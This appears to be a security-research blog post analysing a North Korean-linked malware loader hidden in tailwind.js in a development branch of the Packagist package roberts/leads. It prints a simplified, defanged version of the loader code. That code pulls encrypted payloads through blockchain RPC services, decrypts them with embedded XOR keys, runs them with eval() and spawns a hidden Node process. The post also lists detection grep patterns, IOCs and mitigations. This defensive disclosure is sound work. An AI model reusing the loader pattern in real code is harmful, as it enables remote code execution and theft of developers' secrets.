Post

Famous Chollima Targets PHP Developers Through Compromised Packagist Package

The North Korean malware loader hides in a Packagist-listed package and its GitHub branch to fetch and execute remote code in a likely Contagious Interview-style lure.

Famous Chollima Targets PHP Developers Through Compromised Packagist Package
Famous Chollima Targets PHP Developers Through Compromised Packagist Package

We identified malicious obfuscated JavaScript appended to tailwind.js in the Packagist development version dev-drewroberts/feature/test-case of the PHP package roberts/leads. The package itself is a legitimate Laravel package associated with a maintainer, Drew Roberts. The malicious code appears isolated to a specific development branch, drewroberts/feature/test-case, exposed through Packagist as an installable dev version.

Socket AI Scanner flagged dev-drewroberts/feature/test-case as known malware after identifying obfuscated JavaScript hidden in tailwind.js, including runtime exposure of Node.js internals and immediate execution of a decoded staging payload rather than legitimate Tailwind configuration logic.

The payload is hidden after an otherwise normal Tailwind configuration. Once deobfuscated, it behaves as a JavaScript malware loader. It reaches out to blockchain and public RPC infrastructure, including TRON, Aptos, and BNB Smart Chain services, retrieves encrypted payload material, decrypts it with embedded XOR keys, executes the result with eval(), and can launch a detached hidden Node.js child process.

We assess this as a likely developer or repository compromise, or a poisoned-branch workflow, rather than a malicious package created from scratch. The malicious code appears confined to a dev/test branch exposed through Packagist, while the stable release line did not show the same indicators in our review. This pattern closely resembles recent GitHub Community reports of malicious JavaScript being injected into legitimate developer configuration files as part of an active supply chain campaign associated with North Korean APT activity and Famous Chollima. While the threat group originally gained notoriety for infiltrating companies as fake employees, they are equally famous for reversing the script, creating fake companies and jobs to compromise external developers.

Given the branch name, the malware family, identified indicators of compromise, and the delivery path through trusted developer infrastructure, this package version may have been intended for a fake job interview or developer-task lure, consistent with a Contagious Interview-like scenario.

Packagist listed the affected roberts/leads dev branch as an installable version. We reported it to the Packagist security team, who promptly reviewed the issue and removed the malicious version. We appreciate their quick response in this case and their continued action on PHP ecosystem abuse reports.

In addition to reporting the affected version to Packagist’s security team, we also notified the project maintainer, Drew Roberts, both through GitHub and through the email address listed for reporting security incidents. In parallel, we flagged the malicious tailwind.js file in the affected GitHub repository branch to GitHub Security for review.

The Malicious tailwind.js

At first glance, tailwind.js looks like a normal Tailwind configuration file:

1
2
3
4
5
6
7
8
module.exports = {
    purge: [],
    theme: {
        extend: {},
    },
    variants: {},
    plugins: [],
};

The malicious payload appears after the legitimate config, hidden far to the right after a large whitespace gap:

1
2
};                                                                                                                           global['!']='9-0264-2';var _$_1e42=...

Everything after the closing }; is unrelated to Tailwind. The appended JavaScript is obfuscated and reconstructs its real behavior at runtime.

Deobfuscation Findings

The loader uses several concealment and staging techniques:

  • A large whitespace gap hides the malicious payload after the legitimate Tailwind configuration, making it easy to miss in code review.
  • The campaign marker global['!']='9-0264-2' is later expanded into global['_V']='A9-0264-2'.
  • Global aliases reconstruct Node.js internals, including require and module, to obscure later calls.
  • Blockchain and public RPC infrastructure provide encrypted payload material.
  • Hardcoded XOR keys decrypt the retrieved content into executable JavaScript.
  • eval() executes the decrypted payload inside the Node.js process.
  • child_process.spawn() can launch a detached hidden Node.js process with windowsHide: true.

Loader Behavior

The deobfuscated loader uses blockchain infrastructure as a dead drop mechanism. TRON and Aptos provide payload pointers, while BNB Smart Chain RPC services return transaction input data containing encrypted payload material.

A shortened, simplified, and defanged excerpt of the loader logic is shown below:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
async function resolvePayload(xorKey, tronWallet, aptosFallback) {
    let txHash;

    try {
        txHash = Buffer.from(
            (await getJson(
                "hxxps://api[.]trongrid[.]io/v1/accounts/" +
                tronWallet +
                "/transactions?only_confirmed=true&only_from=true&limit=1"
            )).data[0].raw_data.data,
            "hex"
        ).toString("utf8").split("").reverse().join("");
        // Uses TRON transaction data as a payload pointer.
    } catch {
        txHash = (
            await getJson(
                "hxxps://fullnode[.]mainnet[.]aptoslabs[.]com/v1/accounts/" +
                aptosFallback +
                "/transactions?limit=1"
            )
        )[0].payload.arguments[0];
        // Falls back to Aptos if TRON retrieval fails.
    }

    const encryptedPayload = await getBscTransactionInput(txHash);
    return xorDecrypt(encryptedPayload, xorKey);
}

const firstStage = await resolvePayload(
    "2[gWfGj;<:-93Z^C",
    "TMfKQEd7TJJa5xNZJZ2Lep838vrzrs7mAP",
    "0xbe037400670fbf1c32364f762975908dc43eeb38759263e7dfcdabc76380811e"
);

eval(firstStage);
// Executes threat actor-controlled JavaScript retrieved through blockchain infrastructure.

const secondStage = await resolvePayload(
    "m6:tTh^D)cBz?NM]",
    "TXfxHUet9pJVU1BgVkBAbrES4YUc1nGzcG",
    "0x3f0e5781d0855fb460661ac63257376db1941b2bb522499e4757ecb3ebd5dce3"
);

require("child_process").spawn(
    "node",
    ["-e", "global['_V']='A9-0264-2';" + secondStage],
    {
        detached: true,
        stdio: "ignore",
        windowsHide: true
    }
);
// Launches a hidden detached Node.js process for the second-stage payload.

This design lets the threat actor change the second-stage payload without modifying the package. It also makes the network path less obvious because the loader contacts public blockchain and RPC services rather than a traditional C2 domain.

Exfiltration and Final Payload Scope

The visible loader in tailwind.js does not directly exfiltrate files, environment variables, credentials, wallet data, or source code. Its immediate function is to retrieve, decrypt, and execute remote JavaScript.

That distinction is important, but it does not reduce the risk. Once executed inside Node.js, the remote payload can access:

  • process.env, including CI secrets and cloud credentials if present
  • Local files, including .env files, SSH keys, package tokens, and project source code
  • Git metadata and credentials available to the process
  • Network APIs and child process execution through Node.js

We did not identify geofencing, user agent checks, locale checks, or environment based targeting in the local loader. The visible logic includes fallback payload retrieval, execution throttling, and fallback execution if hidden process spawning fails. Any additional targeting or exfiltration logic would reside in the remote payload.

In prior reports using the same blockchain-C2 infrastructure and overlapping wallet addresses, the loader ultimately delivered DPRK-linked malware including DEV#POPPER RAT, OmniStealer, and BeaverTail-family payloads. Trend Micro observed a DEV#POPPER RAT variant delivered through this infrastructure, while eSentire documented a related ShoeVista chain that retrieved DEV#POPPER RAT from blockchain transaction data and led to OmniStealer execution. OpenSourceMalware’s PolinRider reporting describes the same loader architecture as culminating in a DPRK BeaverTail variant and repository-propagation backdoor/infostealer behavior.

Why This Looks Targeted

This does not appear to be a broad stable release compromise. The malicious code is in a dev version, not the latest stable release. Packagist dev versions usually require explicit selection or relaxed stability settings, which makes accidental mass installation less likely.

That fits a targeted developer lure. A victim could be instructed to install the exact dev version:

1
composer require roberts/leads:dev-drewroberts/feature/test-case

or clone the GitHub repository and check out the branch:

1
2
3
git clone hxxps://github[.]com/roberts/leads.git
cd leads
git checkout drewroberts/feature/test-case

In a fake job interview or developer task, those commands would look routine. The attacker does not need high package adoption. They only need one target to trust and run the poisoned branch.

The malicious loader is visible only after horizontal scrolling in the tailwind.js file on the affected GitHub branch, reinforcing how a targeted victim could clone a legitimate-looking repository branch and miss the hidden payload during routine review.

The affected roberts/leads dev version was published on May 30, 2026, the same day our automated AI scanner identified it as malicious. We are publishing this research within hours of detection, and at the time of writing, we did not identify public victim communications instructing developers to install this exact version or evidence of broad organic exposure. Those instructions, if used, would likely appear in private recruiter chats, email, or direct messages. However, the same wallet addresses, Aptos fallback identifiers, XOR keys, and config-file injection pattern appear in public victim reports, including development-team compromise and OpenClaw malware write-ups, as well as GitHub Community and Reddit help requests and research on Contagious Interview-style developer compromise activity.

Recommendations and Mitigations

Developers should treat unfamiliar build instructions as code execution events, especially during interviews, coding tests, and recruiter-led tasks. Avoid running untrusted dev branches or project setup commands without first reviewing build configuration files.

Before running unfamiliar PHP or JavaScript projects, inspect:

  • composer.json
  • package.json
  • webpack.mix.js
  • vite.config.*
  • next.config.*
  • postcss.config.*
  • tailwind.config.*
  • tailwind.js
  • .github/workflows/*
  • scripts/*

Security teams should monitor for Node.js processes contacting blockchain or RPC services during builds, especially followed by node -e, child_process.spawn, detached execution, or hidden windows.

Organizations should restrict CI secrets to the minimum required scope, avoid exposing long-lived credentials to branch builds, and rotate credentials after suspicious package execution.

Package consumers should pin known good versions and avoid Packagist dev branches unless required. Review minimum-stability, prefer-stable, and explicit dev-* dependency constraints.

Maintainers should review branch protection rules, GitHub personal access tokens, OAuth applications, Packagist webhooks, deploy keys, and collaborator permissions. Preserve branch and commit evidence before deletion when possible.

Suggested local check:

1
2
3
4
5
6
7
8
9
10
grep -RInF \
  -e "global['!']" \
  -e '_$_1e42' \
  -e 'rmcej%otb%' \
  -e 'trongrid' \
  -e 'aptoslabs' \
  -e 'bsc-dataseed' \
  -e 'bsc-rpc' \
  -e 'eth_getTransactionByHash' \
  -e 'windowsHide' \

Suggested Git ref scan:

1
2
3
4
5
6
7
8
9
10
git clone --mirror hxxps://github[.]com/roberts/leads.git roberts-leads.git
cd roberts-leads.git

for ref in $(git for-each-ref --format='%(refname)' refs/heads refs/tags | sort -u); do
  git grep -nI -F \
    -e "global['!']" \
    -e '_$_1e42' \
    -e 'rmcej%otb%' \
    "$ref" -- . 2>/dev/null || true
done

Indicators of Compromise

Package and Repository

  • Affected Packagist version: dev-drewroberts/feature/test-case
  • Mapped GitHub branch: drewroberts/feature/test-case
  • Affected file: tailwind.js
  • Observed branch commit: 6c5c3c7655ce76399af11126b7e9a9058eb2e45d
  • Package URL: https://packagist.org/packages/roberts/leads
  • Repository URL: https://github.com/roberts/leads
  • Affected file URL: hxxps://github[.]com/roberts/leads/blob/drewroberts/feature/test-case/tailwind.js

SHA-256 Hashes

  • Archive: 522b28a2f78771715497ba53729d4ab9a50e982322c391379f3bddf7c8cb363f
  • tailwind.js: 96afdba882046385242cbed46871e41147c8055c5d9eff7460847b2c01a77dc3

TRON Wallets

  • TMfKQEd7TJJa5xNZJZ2Lep838vrzrs7mAP
  • TXfxHUet9pJVU1BgVkBAbrES4YUc1nGzcG

Aptos Fallback Identifiers

  • 0xbe037400670fbf1c32364f762975908dc43eeb38759263e7dfcdabc76380811e
  • 0x3f0e5781d0855fb460661ac63257376db1941b2bb522499e4757ecb3ebd5dce3

XOR Keys

  • 2[gWfGj;<:-93Z^C
  • m6:tTh^D)cBz?NM]

MITRE ATT&CK

  • T1195.002 — Supply Chain Compromise: Compromise Software Supply Chain
  • T1204.002 — User Execution: Malicious File
  • T1059.007 — Command and Scripting Interpreter: JavaScript
  • T1027 — Obfuscated Files or Information
  • T1102.001 — Web Service: Dead Drop Resolver
  • T1105 — Ingress Tool Transfer

© Kirill Boychenko. Some rights reserved.

Using the Chirpy theme for Jekyll.